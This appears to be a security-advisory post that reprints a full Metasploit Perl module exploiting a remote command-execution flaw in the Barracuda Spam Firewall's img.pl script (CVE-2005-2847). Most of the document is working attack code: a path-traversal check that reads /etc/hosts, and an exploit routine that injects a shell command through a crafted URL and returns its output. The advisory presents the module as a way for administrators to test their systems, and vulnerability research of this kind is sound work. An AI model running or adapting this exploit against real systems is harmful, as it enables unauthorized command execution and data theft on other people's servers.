[EXPL] Barracuda Spam Firewall img.pl Command Execution (Exploit)

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  Barracuda Spam Firewall img.pl Command Execution (Exploit)
------------------------------------------------------------------------


SUMMARY

The  <http://www.barracudanetworks.com/> Barracuda Spam Firewall is "an 
integrated hardware and software solution for complete protection of your 
e-mail server. It provides a powerful, easy to use, and affordable 
solution to eliminate SPAM and viruses from your organization".

A remote code execution vulnerability exist in Barracuda Spam Firewall 
appliance's "/cgi-bin/img.pl" script, the following exploit code can be 
used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:
 * Barracuda Spam Firewall version 3.1.18 and prior

Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::barracuda_img_exec;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
        'Name'     => 'Barracuda IMG.PL Remote Command Execution',
        'Version'  => '$Revision: 1.0 $',
        'Authors'  => [ 'Nicolas Gregoire <ngregoire@exaprobe.com>' ],
        'Arch'     => [ 'x86' ],
        'OS'       => [ 'linux' ],
        'Priv'     => 0,
        'UserOpts' =>
          {
                'RHOST' => [1, 'ADDR', 'The target address'],
                'RPORT' => [1, 'PORT', 'The target port', 8000],
                'VHOST' => [0, 'DATA', 'The virtual host name of the 
server'],
                'IMG'   => [1, 'DATA', 'Full path of img.pl script', 
'/cgi-bin/img.pl'],
                'SSL'   => [0, 'BOOL', 'Use SSL'],
          },

        'Description' => Pex::Text::Freeform(qq{
                This module exploits an arbitrary command execution 
vulnerability in the
                Barracuda Spam Firewall appliance. Versions prior to  
3.1.18 are vulnerable.
}),

        'Refs' =>
          [
                ['URL', 
'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],
                ['CVE', '2005-2847'],
                ['OSVDB', '19279'],
                ['BID', '14712'],
                ['NSS', '19556'],
          ],

        'Payload' =>
          {
                'Space' => 512,
                'Keys'  => ['cmd'],
          },

        'Keys' => ['barracuda'],
  };

sub new {
        my $class = shift;
        my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => 
$advanced}, @_);
        return($self);
}

sub Check {
        my $self = shift;
        my $target_host    = $self->GetVar('RHOST');
        my $vhost          = $self->VHost;
        my $target_port    = $self->GetVar('RPORT');
        my $img            = $self->GetVar('IMG');

        my $request =
          "GET $img?f=%2e%2e/etc/hosts HTTP/1.1\r\n".
          "Accept: */*\r\n".
          "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 
5.1)\r\n".
          "Host: $vhost:$target_port\r\n".
          "Connection: Close\r\n".
          "\r\n";

        my $s = Msf::Socket::Tcp->new(
                'PeerAddr' => $target_host,
                'PeerPort' => $target_port,
                'SSL'      => $self->GetVar('SSL'),
          );

        if ($s->IsError){
                $self->PrintLine('[*] Error creating socket: ' . 
$s->GetError);
                return $self->CheckCode('Connect');
        }

        $self->PrintLine("[*] Establishing a connection to the 
target...");

        $s->Send($request);
        my $results = $s->Recv(-1, 20);
        $s->Close();
        
        if (($results =~ /HTTP\/1\..\s+200/) && ($results 
=~/127\.0\.0\.1/)) {

                $self->PrintLine("[*] Vulnerable server detected!");
                return $self->CheckCode('Confirmed');
                
        } elsif ($results =~ /HTTP\/1\..\s+([345]\d+)/) {

                $self->PrintLine("[*] The Barraccuda application was not 
found.");
                return $self->CheckCode('Safe');
        }

        $self->PrintLine("[*] Generic error...");
        return $self->CheckCode('Generic');
}

sub Exploit {
        my $self = shift;
        my $target_host    = $self->GetVar('RHOST');
        my $vhost          = $self->VHost;
        my $target_port    = $self->GetVar('RPORT');
        my $img            = $self->GetVar('IMG');
        my $encodedPayload = $self->GetVar('EncodedPayload');
        my $cmd            = $encodedPayload->RawPayload;

        $img = $img."?f=".$self->URLEncode(qq#../bin/sh -c "echo 'YYY';#. 
$cmd .qq#;echo 'YYY'"|#);

        my $request =
          "GET $img HTTP/1.1\r\n".
          "Accept: */*\r\n".
          "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 
5.1)\r\n".
          "Host: $vhost:$target_port\r\n".
          "Connection: Close\r\n".
          "\r\n";

        my $s = Msf::Socket::Tcp->new(
                'PeerAddr' => $target_host,
                'PeerPort' => $target_port,
                'SSL'      => $self->GetVar('SSL'),
          );

        if ($s->IsError){
                $self->PrintLine('[*] Error creating socket: ' . 
$s->GetError);
                return;
        }

        $self->PrintLine("[*] Establishing a connection to the 
target...");
        $s->Send($request);
        my $results = $s->Recv(-1, 20);
        
        if ($results =~ /HTTP\/1\.. 200 OK/im) {

                (undef, $results) = split(/YYY/, $results);
                
                $self->PrintLine(' ');
                $self->PrintLine("$results");
                $self->PrintLine(' ');

                $self->PrintLine("[*] End of data.");

        } else {
                $self->PrintLine(' ');
                $self->PrintLine("Doh ! Are you sure this server is 
vulnerable ?");
        }

        $s->Close();
        return;
}

sub URLEncode {
        my $self = shift;
        my $data = shift;
        my $res;

        foreach my $c (unpack('C*', $data)) {
                if (
                        ($c >= 0x30 && $c <= 0x39) ||
                        ($c >= 0x41 && $c <= 0x5A) ||
                        ($c >= 0x61 && $c <= 0x7A)
                  ) {
                        $res .= chr($c);
                } else {
                        $res .= sprintf("%%%.2x", $c);
                }
        }
        return $res;
}

sub VHost {
        my $self = shift;
        my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
        return $name;
}

1;


ADDITIONAL INFORMATION

The original article can be found at:  
<http://www.milw0rm.com/id.php?id=1236> 
http://www.milw0rm.com/id.php?id=1236
The original advisory can be found at:  
<http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1> 
http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1



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